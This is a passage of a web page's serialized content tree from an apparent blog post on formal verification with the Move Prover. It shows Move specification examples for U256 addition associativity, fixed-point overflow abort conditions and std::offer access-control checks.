\"Success\"\n}\n",[25073],{"type":25,"tag":264,"props":25074,"children":25075},{"__ignoreMap":7},[25076],{"type":30,"value":25071},{"type":25,"tag":26,"props":25078,"children":25079},{},[25080,25082,25087,25088,25094],{"type":30,"value":25081},"For the ",{"type":25,"tag":38,"props":25083,"children":25084},{},[25085],{"type":30,"value":25086},"Associative Property",{"type":30,"value":16213},{"type":25,"tag":264,"props":25089,"children":25091},{"className":25090},[],[25092],{"type":30,"value":25093},"a+(b+c) = (a+b)+c",{"type":30,"value":25095},") to be true, changing the grouping of addends should not change the sum. To verify this, we will first implement a function which simulates this property:",{"type":25,"tag":7764,"props":25097,"children":25099},{"code":25098,"language":13585,"meta":7,"className":13586,"style":7},"fun add_assoc_property(a: U256, b: U256, c: U256): bool {\n    let result_1 = add(b, c);\n    let result_11 = add(a, result_1);\n    let result_2 = add(a, b);\n    let result_22 = add(c, result_2);\n\n    let cmp = compare(&result_11, &result_22);\n    if ( cmp == EQUAL ) true else false\n}\n",[25100],{"type":25,"tag":264,"props":25101,"children":25102},{"__ignoreMap":7},[25103,25180,25219,25260,25299,25340,25347,25397,25437],{"type":25,"tag":271,"props":25104,"children":25105},{"class":13593,"line":13594},[25106,25110,25115,25119,25123,25127,25131,25135,25139,25143,25147,25151,25155,25159,25163,25167,25171,25176],{"type":25,"tag":271,"props":25107,"children":25108},{"style":13598},[25109],{"type":30,"value":20231},{"type":25,"tag":271,"props":25111,"children":25112},{"style":13620},[25113],{"type":30,"value":25114}," add_assoc_property",{"type":25,"tag":271,"props":25116,"children":25117},{"style":13625},[25118],{"type":30,"value":394},{"type":25,"tag":271,"props":25120,"children":25121},{"style":13598},[25122],{"type":30,"value":83},{"type":25,"tag":271,"props":25124,"children":25125},{"style":13603},[25126],{"type":30,"value":359},{"type":25,"tag":271,"props":25128,"children":25129},{"style":13609},[25130],{"type":30,"value":17861},{"type":25,"tag":271,"props":25132,"children":25133},{"style":13625},[25134],{"type":30,"value":44},{"type":25,"tag":271,"props":25136,"children":25137},{"style":13598},[25138],{"type":30,"value":2508},{"type":25,"tag":271,"props":25140,"children":25141},{"style":13603},[25142],{"type":30,"value":359},{"type":25,"tag":271,"props":25144,"children":25145},{"style":13609},[25146],{"type":30,"value":17861},{"type":25,"tag":271,"props":25148,"children":25149},{"style":13625},[25150],{"type":30,"value":44},{"type":25,"tag":271,"props":25152,"children":25153},{"style":13598},[25154],{"type":30,"value":13243},{"type":25,"tag":271,"props":25156,"children":25157},{"style":13603},[25158],{"type":30,"value":359},{"type":25,"tag":271,"props":25160,"children":25161},{"style":13609},[25162],{"type":30,"value":17861},{"type":25,"tag":271,"props":25164,"children":25165},{"style":13625},[25166],{"type":30,"value":440},{"type":25,"tag":271,"props":25168,"children":25169},{"style":13603},[25170],{"type":30,"value":359},{"type":25,"tag":271,"props":25172,"children":25173},{"style":13609},[25174],{"type":30,"value":25175}," bool",{"type":25,"tag":271,"props":25177,"children":25178},{"style":13625},[25179],{"type":30,"value":16431},{"type":25,"tag":271,"props":25181,"children":25182},{"class":13593,"line":11641},[25183,25187,25191,25195,25199,25203,25207,25211,25215],{"type":25,"tag":271,"props":25184,"children":25185},{"style":14289},[25186],{"type":30,"value":16140},{"type":25,"tag":271,"props":25188,"children":25189},{"style":13598},[25190],{"type":30,"value":21313},{"type":25,"tag":271,"props":25192,"children":25193},{"style":13603},[25194],{"type":30,"value":16155},{"type":25,"tag":271,"props":25196,"children":25197},{"style":13620},[25198],{"type":30,"value":22704},{"type":25,"tag":271,"props":25200,"children":25201},{"style":13625},[25202],{"type":30,"value":394},{"type":25,"tag":271,"props":25204,"children":25205},{"style":13598},[25206],{"type":30,"value":2508},{"type":25,"tag":271,"props":25208,"children":25209},{"style":13625},[25210],{"type":30,"value":44},{"type":25,"tag":271,"props":25212,"children":25213},{"style":13598},[25214],{"type":30,"value":13243},{"type":25,"tag":271,"props":25216,"children":25217},{"style":13625},[25218],{"type":30,"value":13665},{"type":25,"tag":271,"props":25220,"children":25221},{"class":13593,"line":14354},[25222,25226,25231,25235,25239,25243,25247,25251,25256],{"type":25,"tag":271,"props":25223,"children":25224},{"style":14289},[25225],{"type":30,"value":16140},{"type":25,"tag":271,"props":25227,"children":25228},{"style":13598},[25229],{"type":30,"value":25230}," result_11",{"type":25,"tag":271,"props":25232,"children":25233},{"style":13603},[25234],{"type":30,"value":16155},{"type":25,"tag":271,"props":25236,"children":25237},{"style":13620},[25238],{"type":30,"value":22704},{"type":25,"tag":271,"props":25240,"children":25241},{"style":13625},[25242],{"type":30,"value":394},{"type":25,"tag":271,"props":25244,"children":25245},{"style":13598},[25246],{"type":30,"value":83},{"type":25,"tag":271,"props":25248,"children":25249},{"style":13625},[25250],{"type":30,"value":44},{"type":25,"tag":271,"props":25252,"children":25253},{"style":13598},[25254],{"type":30,"value":25255},"result_1",{"type":25,"tag":271,"props":25257,"children":25258},{"style":13625},[25259],{"type":30,"value":13665},{"type":25,"tag":271,"props":25261,"children":25262},{"class":13593,"line":14391},[25263,25267,25271,25275,25279,25283,25287,25291,25295],{"type":25,"tag":271,"props":25264,"children":25265},{"style":14289},[25266],{"type":30,"value":16140},{"type":25,"tag":271,"props":25268,"children":25269},{"style":13598},[25270],{"type":30,"value":21339},{"type":25,"tag":271,"props":25272,"children":25273},{"style":13603},[25274],{"type":30,"value":16155},{"type":25,"tag":271,"props":25276,"children":25277},{"style":13620},[25278],{"type":30,"value":22704},{"type":25,"tag":271,"props":25280,"children":25281},{"style":13625},[25282],{"type":30,"value":394},{"type":25,"tag":271,"props":25284,"children":25285},{"style":13598},[25286],{"type":30,"value":83},{"type":25,"tag":271,"props":25288,"children":25289},{"style":13625},[25290],{"type":30,"value":44},{"type":25,"tag":271,"props":25292,"children":25293},{"style":13598},[25294],{"type":30,"value":2508},{"type":25,"tag":271,"props":25296,"children":25297},{"style":13625},[25298],{"type":30,"value":13665},{"type":25,"tag":271,"props":25300,"children":25301},{"class":13593,"line":14400},[25302,25306,25311,25315,25319,25323,25327,25331,25336],{"type":25,"tag":271,"props":25303,"children":25304},{"style":14289},[25305],{"type":30,"value":16140},{"type":25,"tag":271,"props":25307,"children":25308},{"style":13598},[25309],{"type":30,"value":25310}," result_22",{"type":25,"tag":271,"props":25312,"children":25313},{"style":13603},[25314],{"type":30,"value":16155},{"type":25,"tag":271,"props":25316,"children":25317},{"style":13620},[25318],{"type":30,"value":22704},{"type":25,"tag":271,"props":25320,"children":25321},{"style":13625},[25322],{"type":30,"value":394},{"type":25,"tag":271,"props":25324,"children":25325},{"style":13598},[25326],{"type":30,"value":13243},{"type":25,"tag":271,"props":25328,"children":25329},{"style":13625},[25330],{"type":30,"value":44},{"type":25,"tag":271,"props":25332,"children":25333},{"style":13598},[25334],{"type":30,"value":25335},"result_2",{"type":25,"tag":271,"props":25337,"children":25338},{"style":13625},[25339],{"type":30,"value":13665},{"type":25,"tag":271,"props":25341,"children":25342},{"class":13593,"line":16406},[25343],{"type":25,"tag":271,"props":25344,"children":25345},{"emptyLinePlaceholder":18},[25346],{"type":30,"value":16829},{"type":25,"tag":271,"props":25348,"children":25349},{"class":13593,"line":16434},[25350,25354,25358,25362,25367,25371,25375,25380,25384,25388,25393],{"type":25,"tag":271,"props":25351,"children":25352},{"style":14289},[25353],{"type":30,"value":16140},{"type":25,"tag":271,"props":25355,"children":25356},{"style":13598},[25357],{"type":30,"value":20982},{"type":25,"tag":271,"props":25359,"children":25360},{"style":13603},[25361],{"type":30,"value":16155},{"type":25,"tag":271,"props":25363,"children":25364},{"style":13620},[25365],{"type":30,"value":25366}," compare",{"type":25,"tag":271,"props":25368,"children":25369},{"style":13625},[25370],{"type":30,"value":394},{"type":25,"tag":271,"props":25372,"children":25373},{"style":13603},[25374],{"type":30,"value":13632},{"type":25,"tag":271,"props":25376,"children":25377},{"style":13598},[25378],{"type":30,"value":25379},"result_11",{"type":25,"tag":271,"props":25381,"children":25382},{"style":13625},[25383],{"type":30,"value":44},{"type":25,"tag":271,"props":25385,"children":25386},{"style":13603},[25387],{"type":30,"value":13632},{"type":25,"tag":271,"props":25389,"children":25390},{"style":13598},[25391],{"type":30,"value":25392},"result_22",{"type":25,"tag":271,"props":25394,"children":25395},{"style":13625},[25396],{"type":30,"value":13665},{"type":25,"tag":271,"props":25398,"children":25399},{"class":13593,"line":16447},[25400,25405,25410,25414,25418,25423,25427,25432],{"type":25,"tag":271,"props":25401,"children":25402},{"style":16171},[25403],{"type":30,"value":25404},"    if",{"type":25,"tag":271,"props":25406,"children":25407},{"style":13625},[25408],{"type":30,"value":25409}," ( ",{"type":25,"tag":271,"props":25411,"children":25412},{"style":13598},[25413],{"type":30,"value":21047},{"type":25,"tag":271,"props":25415,"children":25416},{"style":13603},[25417],{"type":30,"value":16422},{"type":25,"tag":271,"props":25419,"children":25420},{"style":13625},[25421],{"type":30,"value":25422}," EQUAL ) ",{"type":25,"tag":271,"props":25424,"children":25425},{"style":14289},[25426],{"type":30,"value":280},{"type":25,"tag":271,"props":25428,"children":25429},{"style":16171},[25430],{"type":30,"value":25431}," else",{"type":25,"tag":271,"props":25433,"children":25434},{"style":14289},[25435],{"type":30,"value":25436}," false\n",{"type":25,"tag":271,"props":25438,"children":25439},{"class":13593,"line":16465},[25440],{"type":25,"tag":271,"props":25441,"children":25442},{"style":13625},[25443],{"type":30,"value":17058},{"type":25,"tag":26,"props":25445,"children":25446},{},[25447],{"type":30,"value":25448},"Lastly, we want to create a spec block which aborts if the sum overflows, and ensures that the result of the function is true:",{"type":25,"tag":7764,"props":25450,"children":25452},{"code":25451,"language":13585,"meta":7,"className":13586,"style":7},"spec add_assoc_property {\n    aborts_if (value_of_U256(a) + value_of_U256(b)) + value_of_U256(c) >= P64 * P64 * P64 * P64;\n    ensures result == true;\n}\n",[25453],{"type":25,"tag":264,"props":25454,"children":25455},{"__ignoreMap":7},[25456,25471,25575,25599],{"type":25,"tag":271,"props":25457,"children":25458},{"class":13593,"line":13594},[25459,25463,25467],{"type":25,"tag":271,"props":25460,"children":25461},{"style":13598},[25462],{"type":30,"value":21396},{"type":25,"tag":271,"props":25464,"children":25465},{"style":13598},[25466],{"type":30,"value":25114},{"type":25,"tag":271,"props":25468,"children":25469},{"style":13625},[25470],{"type":30,"value":16431},{"type":25,"tag":271,"props":25472,"children":25473},{"class":13593,"line":11641},[25474,25478,25482,25487,25491,25495,25499,25503,25507,25511,25515,25519,25523,25527,25531,25535,25539,25543,25547,25551,25555,25559,25563,25567,25571],{"type":25,"tag":271,"props":25475,"children":25476},{"style":13598},[25477],{"type":30,"value":23026},{"type":25,"tag":271,"props":25479,"children":25480},{"style":13625},[25481],{"type":30,"value":16213},{"type":25,"tag":271,"props":25483,"children":25484},{"style":13620},[25485],{"type":30,"value":25486},"value_of_U256",{"type":25,"tag":271,"props":25488,"children":25489},{"style":13625},[25490],{"type":30,"value":394},{"type":25,"tag":271,"props":25492,"children":25493},{"style":13598},[25494],{"type":30,"value":83},{"type":25,"tag":271,"props":25496,"children":25497},{"style":13625},[25498],{"type":30,"value":14406},{"type":25,"tag":271,"props":25500,"children":25501},{"style":13603},[25502],{"type":30,"value":2074},{"type":25,"tag":271,"props":25504,"children":25505},{"style":13620},[25506],{"type":30,"value":22827},{"type":25,"tag":271,"props":25508,"children":25509},{"style":13625},[25510],{"type":30,"value":394},{"type":25,"tag":271,"props":25512,"children":25513},{"style":13598},[25514],{"type":30,"value":2508},{"type":25,"tag":271,"props":25516,"children":25517},{"style":13625},[25518],{"type":30,"value":21957},{"type":25,"tag":271,"props":25520,"children":25521},{"style":13603},[25522],{"type":30,"value":2074},{"type":25,"tag":271,"props":25524,"children":25525},{"style":13620},[25526],{"type":30,"value":22827},{"type":25,"tag":271,"props":25528,"children":25529},{"style":13625},[25530],{"type":30,"value":394},{"type":25,"tag":271,"props":25532,"children":25533},{"style":13598},[25534],{"type":30,"value":13243},{"type":25,"tag":271,"props":25536,"children":25537},{"style":13625},[25538],{"type":30,"value":14406},{"type":25,"tag":271,"props":25540,"children":25541},{"style":13603},[25542],{"type":30,"value":23067},{"type":25,"tag":271,"props":25544,"children":25545},{"style":13609},[25546],{"type":30,"value":22783},{"type":25,"tag":271,"props":25548,"children":25549},{"style":13603},[25550],{"type":30,"value":22940},{"type":25,"tag":271,"props":25552,"children":25553},{"style":13609},[25554],{"type":30,"value":22783},{"type":25,"tag":271,"props":25556,"children":25557},{"style":13603},[25558],{"type":30,"value":22940},{"type":25,"tag":271,"props":25560,"children":25561},{"style":13609},[25562],{"type":30,"value":22783},{"type":25,"tag":271,"props":25564,"children":25565},{"style":13603},[25566],{"type":30,"value":22940},{"type":25,"tag":271,"props":25568,"children":25569},{"style":13609},[25570],{"type":30,"value":22783},{"type":25,"tag":271,"props":25572,"children":25573},{"style":13625},[25574],{"type":30,"value":16165},{"type":25,"tag":271,"props":25576,"children":25577},{"class":13593,"line":14354},[25578,25582,25586,25590,25595],{"type":25,"tag":271,"props":25579,"children":25580},{"style":13598},[25581],{"type":30,"value":23324},{"type":25,"tag":271,"props":25583,"children":25584},{"style":13598},[25585],{"type":30,"value":22282},{"type":25,"tag":271,"props":25587,"children":25588},{"style":13603},[25589],{"type":30,"value":16422},{"type":25,"tag":271,"props":25591,"children":25592},{"style":14289},[25593],{"type":30,"value":25594}," true",{"type":25,"tag":271,"props":25596,"children":25597},{"style":13625},[25598],{"type":30,"value":16165},{"type":25,"tag":271,"props":25600,"children":25601},{"class":13593,"line":14391},[25602],{"type":25,"tag":271,"props":25603,"children":25604},{"style":13625},[25605],{"type":30,"value":17058},{"type":25,"tag":26,"props":25607,"children":25608},{},[25609],{"type":30,"value":25610},"Running move prover with the new specifications, we can confirm that there are no verification errors:",{"type":25,"tag":7764,"props":25612,"children":25613},{"code":25071},[25614],{"type":25,"tag":264,"props":25615,"children":25616},{"__ignoreMap":7},[25617],{"type":30,"value":25071},{"type":25,"tag":26,"props":25619,"children":25620},{},[25621,25623,25630],{"type":30,"value":25622},"For a more complete document detailing Move Prover syntax, we recommend referring to ",{"type":25,"tag":83,"props":25624,"children":25627},{"href":25625,"rel":25626},"https://github.com/move-language/move/blob/main/language/move-prover/doc/user/spec-lang.md",[9066],[25628],{"type":30,"value":25629},"spec-lang.md",{"type":30,"value":25631}," in the Move Repository.",{"type":25,"tag":96,"props":25633,"children":25635},{"id":25634},"use-cases",[25636],{"type":30,"value":25637},"Use Cases",{"type":25,"tag":26,"props":25639,"children":25640},{},[25641],{"type":30,"value":25642},"Formal verification can prove that a smart contract satisfies the given requirements for all possible cases without even running the contract. The hard part is coming up with the specifications.",{"type":25,"tag":26,"props":25644,"children":25645},{},[25646],{"type":30,"value":25647},"Here, we hope to explore some practical examples of possible verification ideas.",{"type":25,"tag":247,"props":25649,"children":25651},{"id":25650},"error-conditions",[25652],{"type":30,"value":25653},"Error Conditions",{"type":25,"tag":26,"props":25655,"children":25656},{},[25657,25659,25665],{"type":30,"value":25658},"Taking an example from ",{"type":25,"tag":264,"props":25660,"children":25662},{"className":25661},[],[25663],{"type":30,"value":25664},"std::fixed_point32",{"type":30,"value":25666},", it's often useful to explicitly define when a function might abort. For example, arithmetic operations with fixed point numbers should only error if they overflow.",{"type":25,"tag":7764,"props":25668,"children":25670},{"code":25669,"language":13585,"meta":7,"className":13586,"style":7},"      spec schema MultiplyAbortsIf {\n          val: num;\n          multiplier: FixedPoint32;\n          aborts_if spec_multiply_u64(val, multiplier) > MAX_U64 with EMULTIPLICATION;\n      }\n      spec fun spec_multiply_u64(val: num, multiplier: FixedPoint32): num {\n          (val * multiplier.value) >> 32\n      }\n",[25671],{"type":25,"tag":264,"props":25672,"children":25673},{"__ignoreMap":7},[25674,25695,25715,25736,25782,25790,25853,25892],{"type":25,"tag":271,"props":25675,"children":25676},{"class":13593,"line":13594},[25677,25681,25686,25691],{"type":25,"tag":271,"props":25678,"children":25679},{"style":13598},[25680],{"type":30,"value":22049},{"type":25,"tag":271,"props":25682,"children":25683},{"style":13598},[25684],{"type":30,"value":25685}," schema",{"type":25,"tag":271,"props":25687,"children":25688},{"style":13609},[25689],{"type":30,"value":25690}," MultiplyAbortsIf",{"type":25,"tag":271,"props":25692,"children":25693},{"style":13625},[25694],{"type":30,"value":16431},{"type":25,"tag":271,"props":25696,"children":25697},{"class":13593,"line":11641},[25698,25703,25707,25711],{"type":25,"tag":271,"props":25699,"children":25700},{"style":13598},[25701],{"type":30,"value":25702},"          val",{"type":25,"tag":271,"props":25704,"children":25705},{"style":13603},[25706],{"type":30,"value":359},{"type":25,"tag":271,"props":25708,"children":25709},{"style":13598},[25710],{"type":30,"value":22856},{"type":25,"tag":271,"props":25712,"children":25713},{"style":13625},[25714],{"type":30,"value":16165},{"type":25,"tag":271,"props":25716,"children":25717},{"class":13593,"line":14354},[25718,25723,25727,25732],{"type":25,"tag":271,"props":25719,"children":25720},{"style":13598},[25721],{"type":30,"value":25722},"          multiplier",{"type":25,"tag":271,"props":25724,"children":25725},{"style":13603},[25726],{"type":30,"value":359},{"type":25,"tag":271,"props":25728,"children":25729},{"style":13609},[25730],{"type":30,"value":25731}," FixedPoint32",{"type":25,"tag":271,"props":25733,"children":25734},{"style":13625},[25735],{"type":30,"value":16165},{"type":25,"tag":271,"props":25737,"children":25738},{"class":13593,"line":14391},[25739,25744,25749,25753,25758,25762,25767,25772,25777],{"type":25,"tag":271,"props":25740,"children":25741},{"style":13598},[25742],{"type":30,"value":25743},"          aborts_if",{"type":25,"tag":271,"props":25745,"children":25746},{"style":13620},[25747],{"type":30,"value":25748}," spec_multiply_u64",{"type":25,"tag":271,"props":25750,"children":25751},{"style":13625},[25752],{"type":30,"value":394},{"type":25,"tag":271,"props":25754,"children":25755},{"style":13598},[25756],{"type":30,"value":25757},"val",{"type":25,"tag":271,"props":25759,"children":25760},{"style":13625},[25761],{"type":30,"value":44},{"type":25,"tag":271,"props":25763,"children":25764},{"style":13598},[25765],{"type":30,"value":25766},"multiplier",{"type":25,"tag":271,"props":25768,"children":25769},{"style":13625},[25770],{"type":30,"value":25771},") > MAX_U64 ",{"type":25,"tag":271,"props":25773,"children":25774},{"style":13598},[25775],{"type":30,"value":25776},"with",{"type":25,"tag":271,"props":25778,"children":25779},{"style":13625},[25780],{"type":30,"value":25781}," EMULTIPLICATION;\n",{"type":25,"tag":271,"props":25783,"children":25784},{"class":13593,"line":14400},[25785],{"type":25,"tag":271,"props":25786,"children":25787},{"style":13625},[25788],{"type":30,"value":25789},"      }\n",{"type":25,"tag":271,"props":25791,"children":25792},{"class":13593,"line":16406},[25793,25797,25801,25805,25809,25813,25817,25821,25825,25829,25833,25837,25841,25845,25849],{"type":25,"tag":271,"props":25794,"children":25795},{"style":13598},[25796],{"type":30,"value":22049},{"type":25,"tag":271,"props":25798,"children":25799},{"style":13598},[25800],{"type":30,"value":19335},{"type":25,"tag":271,"props":25802,"children":25803},{"style":13620},[25804],{"type":30,"value":25748},{"type":25,"tag":271,"props":25806,"children":25807},{"style":13625},[25808],{"type":30,"value":394},{"type":25,"tag":271,"props":25810,"children":25811},{"style":13598},[25812],{"type":30,"value":25757},{"type":25,"tag":271,"props":25814,"children":25815},{"style":13603},[25816],{"type":30,"value":359},{"type":25,"tag":271,"props":25818,"children":25819},{"style":13598},[25820],{"type":30,"value":22856},{"type":25,"tag":271,"props":25822,"children":25823},{"style":13625},[25824],{"type":30,"value":44},{"type":25,"tag":271,"props":25826,"children":25827},{"style":13598},[25828],{"type":30,"value":25766},{"type":25,"tag":271,"props":25830,"children":25831},{"style":13603},[25832],{"type":30,"value":359},{"type":25,"tag":271,"props":25834,"children":25835},{"style":13609},[25836],{"type":30,"value":25731},{"type":25,"tag":271,"props":25838,"children":25839},{"style":13625},[25840],{"type":30,"value":440},{"type":25,"tag":271,"props":25842,"children":25843},{"style":13603},[25844],{"type":30,"value":359},{"type":25,"tag":271,"props":25846,"children":25847},{"style":13598},[25848],{"type":30,"value":22856},{"type":25,"tag":271,"props":25850,"children":25851},{"style":13625},[25852],{"type":30,"value":16431},{"type":25,"tag":271,"props":25854,"children":25855},{"class":13593,"line":16434},[25856,25860,25864,25868,25873,25877,25882,25887],{"type":25,"tag":271,"props":25857,"children":25858},{"style":13625},[25859],{"type":30,"value":21830},{"type":25,"tag":271,"props":25861,"children":25862},{"style":13598},[25863],{"type":30,"value":25757},{"type":25,"tag":271,"props":25865,"children":25866},{"style":13603},[25867],{"type":30,"value":22940},{"type":25,"tag":271,"props":25869,"children":25870},{"style":13598},[25871],{"type":30,"value":25872}," multiplier",{"type":25,"tag":271,"props":25874,"children":25875},{"style":13603},[25876],{"type":30,"value":1860},{"type":25,"tag":271,"props":25878,"children":25879},{"style":13625},[25880],{"type":30,"value":25881},"value) ",{"type":25,"tag":271,"props":25883,"children":25884},{"style":13603},[25885],{"type":30,"value":25886},">>",{"type":25,"tag":271,"props":25888,"children":25889},{"style":16187},[25890],{"type":30,"value":25891}," 32\n",{"type":25,"tag":271,"props":25893,"children":25894},{"class":13593,"line":16447},[25895],{"type":25,"tag":271,"props":25896,"children":25897},{"style":13625},[25898],{"type":30,"value":25789},{"type":25,"tag":247,"props":25900,"children":25902},{"id":25901},"access-control-policies",[25903],{"type":30,"value":25904},"Access Control Policies",{"type":25,"tag":26,"props":25906,"children":25907},{},[25908],{"type":30,"value":25909},"Somewhat similar to error conditions, it's often useful to enforce explicit access control policies at the specification level.",{"type":25,"tag":26,"props":25911,"children":25912},{},[25913,25915,25921,25923,25928],{"type":30,"value":25914},"For example, in ",{"type":25,"tag":264,"props":25916,"children":25918},{"className":25917},[],[25919],{"type":30,"value":25920},"std::offer",{"type":30,"value":25922}," we are able to see that the function should abort if and only if there does not exist an offer, ",{"type":25,"tag":10281,"props":25924,"children":25925},{},[25926],{"type":30,"value":25927},"or",{"type":30,"value":25929}," the recipient is now allowed.",{"type":25,"tag":7764,"props":25931,"children":25933},{"code":25932,"language":13585,"meta":7,"className":13586,"style":7},"    spec redeem {\n      /// Aborts if there is no offer under `offer_address` or if the account\n      /// cannot redeem the offer.\n      /// Ensures that the offered struct under `offer_address` is removed.\n      aborts_if !exists\u003COffer\u003COffered>>(offer_address);\n      aborts_if !is_allowed_recipient\u003COffered>(offer_address, signer::address_of(account));\n      ensures !exists\u003COffer\u003COffered>>(offer_address);\n      ensures result == old(global\u003COffer\u003COffered>>(offer_address).offered);\n    }\n",[25934],{"type":25,"tag":264,"props":25935,"children":25936},{"__ignoreMap":7},[25937,25954,25962,25970,25978,26025,26083,26126,26192],{"type":25,"tag":271,"props":25938,"children":25939},{"class":13593,"line":13594},[25940,25945,25950],{"type":25,"tag":271,"props":25941,"children":25942},{"style":13598},[25943],{"type":30,"value":25944},"    spec",{"type":25,"tag":271,"props":25946,"children":25947},{"style":13598},[25948],{"type":30,"value":25949}," redeem",{"type":25,"tag":271,"props":25951,"children":25952},{"style":13625},[25953],{"type":30,"value":16431},{"type":25,"tag":271,"props":25955,"children":25956},{"class":13593,"line":11641},[25957],{"type":25,"tag":271,"props":25958,"children":25959},{"style":14385},[25960],{"type":30,"value":25961},"      /// Aborts if there is no offer under `offer_address` or if the account\n",{"type":25,"tag":271,"props":25963,"children":25964},{"class":13593,"line":14354},[25965],{"type":25,"tag":271,"props":25966,"children":25967},{"style":14385},[25968],{"type":30,"value":25969},"      /// cannot redeem the offer.\n",{"type":25,"tag":271,"props":25971,"children":25972},{"class":13593,"line":14391},[25973],{"type":25,"tag":271,"props":25974,"children":25975},{"style":14385},[25976],{"type":30,"value":25977},"      /// Ensures that the offered struct under `offer_address` is removed.\n",{"type":25,"tag":271,"props":25979,"children":25980},{"class":13593,"line":14400},[25981,25985,25990,25994,25998,26003,26007,26012,26016,26021],{"type":25,"tag":271,"props":25982,"children":25983},{"style":13598},[25984],{"type":30,"value":22174},{"type":25,"tag":271,"props":25986,"children":25987},{"style":13603},[25988],{"type":30,"value":25989}," !",{"type":25,"tag":271,"props":25991,"children":25992},{"style":13598},[25993],{"type":30,"value":19828},{"type":25,"tag":271,"props":25995,"children":25996},{"style":13625},[25997],{"type":30,"value":14307},{"type":25,"tag":271,"props":25999,"children":26000},{"style":13609},[26001],{"type":30,"value":26002},"Offer",{"type":25,"tag":271,"props":26004,"children":26005},{"style":13625},[26006],{"type":30,"value":14307},{"type":25,"tag":271,"props":26008,"children":26009},{"style":13609},[26010],{"type":30,"value":26011},"Offered",{"type":25,"tag":271,"props":26013,"children":26014},{"style":13625},[26015],{"type":30,"value":19850},{"type":25,"tag":271,"props":26017,"children":26018},{"style":13598},[26019],{"type":30,"value":26020},"offer_address",{"type":25,"tag":271,"props":26022,"children":26023},{"style":13625},[26024],{"type":30,"value":13665},{"type":25,"tag":271,"props":26026,"children":26027},{"class":13593,"line":16406},[26028,26032,26036,26041,26045,26049,26053,26057,26062,26066,26070,26074,26079],{"type":25,"tag":271,"props":26029,"children":26030},{"style":13598},[26031],{"type":30,"value":22174},{"type":25,"tag":271,"props":26033,"children":26034},{"style":13603},[26035],{"type":30,"value":25989},{"type":25,"tag":271,"props":26037,"children":26038},{"style":13598},[26039],{"type":30,"value":26040},"is_allowed_recipient",{"type":25,"tag":271,"props":26042,"children":26043},{"style":13625},[26044],{"type":30,"value":14307},{"type":25,"tag":271,"props":26046,"children":26047},{"style":13609},[26048],{"type":30,"value":26011},{"type":25,"tag":271,"props":26050,"children":26051},{"style":13625},[26052],{"type":30,"value":20732},{"type":25,"tag":271,"props":26054,"children":26055},{"style":13598},[26056],{"type":30,"value":26020},{"type":25,"tag":271,"props":26058,"children":26059},{"style":13625},[26060],{"type":30,"value":26061},", signer",{"type":25,"tag":271,"props":26063,"children":26064},{"style":13603},[26065],{"type":30,"value":13617},{"type":25,"tag":271,"props":26067,"children":26068},{"style":13620},[26069],{"type":30,"value":20332},{"type":25,"tag":271,"props":26071,"children":26072},{"style":13625},[26073],{"type":30,"value":394},{"type":25,"tag":271,"props":26075,"children":26076},{"style":13598},[26077],{"type":30,"value":26078},"account",{"type":25,"tag":271,"props":26080,"children":26081},{"style":13625},[26082],{"type":30,"value":20346},{"type":25,"tag":271,"props":26084,"children":26085},{"class":13593,"line":16434},[26086,26090,26094,26098,26102,26106,26110,26114,26118,26122],{"type":25,"tag":271,"props":26087,"children":26088},{"style":13598},[26089],{"type":30,"value":21308},{"type":25,"tag":271,"props":26091,"children":26092},{"style":13603},[26093],{"type":30,"value":25989},{"type":25,"tag":271,"props":26095,"children":26096},{"style":13598},[26097],{"type":30,"value":19828},{"type":25,"tag":271,"props":26099,"children":26100},{"style":13625},[26101],{"type":30,"value":14307},{"type":25,"tag":271,"props":26103,"children":26104},{"style":13609},[26105],{"type":30,"value":26002},{"type":25,"tag":271,"props":26107,"children":26108},{"style":13625},[26109],{"type":30,"value":14307},{"type":25,"tag":271,"props":26111,"children":26112},{"style":13609},[26113],{"type":30,"value":26011},{"type":25,"tag":271,"props":26115,"children":26116},{"style":13625},[26117],{"type":30,"value":19850},{"type":25,"tag":271,"props":26119,"children":26120},{"style":13598},[26121],{"type":30,"value":26020},{"type":25,"tag":271,"props":26123,"children":26124},{"style":13625},[26125],{"type":30,"value":13665},{"type":25,"tag":271,"props":26127,"children":26128},{"class":13593,"line":16447},[26129,26133,26137,26141,26146,26150,26155,26159,26163,26167,26171,26175,26179,26183,26187],{"type":25,"tag":271,"props":26130,"children":26131},{"style":13598},[26132],{"type":30,"value":21308},{"type":25,"tag":271,"props":26134,"children":26135},{"style":13598},[26136],{"type":30,"value":22282},{"type":25,"tag":271,"props":26138,"children":26139},{"style":13603},[26140],{"type":30,"value":16422},{"type":25,"tag":271,"props":26142,"children":26143},{"style":13620},[26144],{"type":30,"value":26145}," old",{"type":25,"tag":271,"props":26147,"children":26148},{"style":13625},[26149],{"type":30,"value":394},{"type":25,"tag":271,"props":26151,"children":26152},{"style":13598},[26153],{"type":30,"value":26154},"global",{"type":25,"tag":271,"props":26156,"children":26157},{"style":13625},[26158],{"type":30,"value":14307},{"type":25,"tag":271,"props":26160,"children":26161},{"style":13609},[26162],{"type":30,"value":26002},{"type":25,"tag":271,"props":26164,"children":26165},{"style":13625},[26166],{"type":30,"value":14307},{"type":25,"tag":271,"props":26168,"children":26169},{"style":13609},[26170],{"type":30,"value":26011},{"type":25,"tag":271,"props":26172,"children":26173},{"style":13625},[26174],{"type":30,"value":19850},{"type":25,"tag":271,"props":26176,"children":26177},{"style":13598},[26178],{"type":30,"value":26020},{"type":25,"tag":271,"props":26180,"children":26181},{"style":13625},[26182],{"type":30,"value":440},{"type":25,"tag":271,"props":26184,"children":26185},{"style":13603},[26186],{"type":30,"value":1860},{"type":25,"tag":271,"props":26188,"children":26189},{"style":13625},[26190],{"type":30,"value":26191},"offered);\n",{"type":25,"tag":271,"props":26193,"children":26194},{"class":13593,"line":16465},[26195],{"type":25,"tag":271,"props":26196,"children":26197},{"style":13625},[26198],{"type":30,"value":16501},{"type":25,"tag":26,"props":26200,"children":26201},{},[26202],{"type":30,"value":26203},"These access control specifications make it impossible to accidentally remove security critical access control policies later.",{"type":25,"tag":247,"props":26205,"children":26207},{"id":26206},"complex-mathematical-formulae",[26208],{"type":30,"value":26209},"Complex Mathematical Formulae",{"type":25,"tag":26,"props":26211,"children":26212},{},[26213,26215,26220],{"type":30,"value":26214},"Whether it's a decimal implementation or more complex data structures, it's often useful to verify that the expected output is ",{"type":25,"tag":10281,"props":26216,"children":26217},{},[26218],{"type":30,"value":26219},"always",{"type":30,"value":26221}," the output.",{"type":25,"tag":26,"props":26223,"children":26224},{},[26225],{"type":30,"value":26226},"Proving that your fundamental data structures work exactly as intended will give you much more confidence in the remainder of your 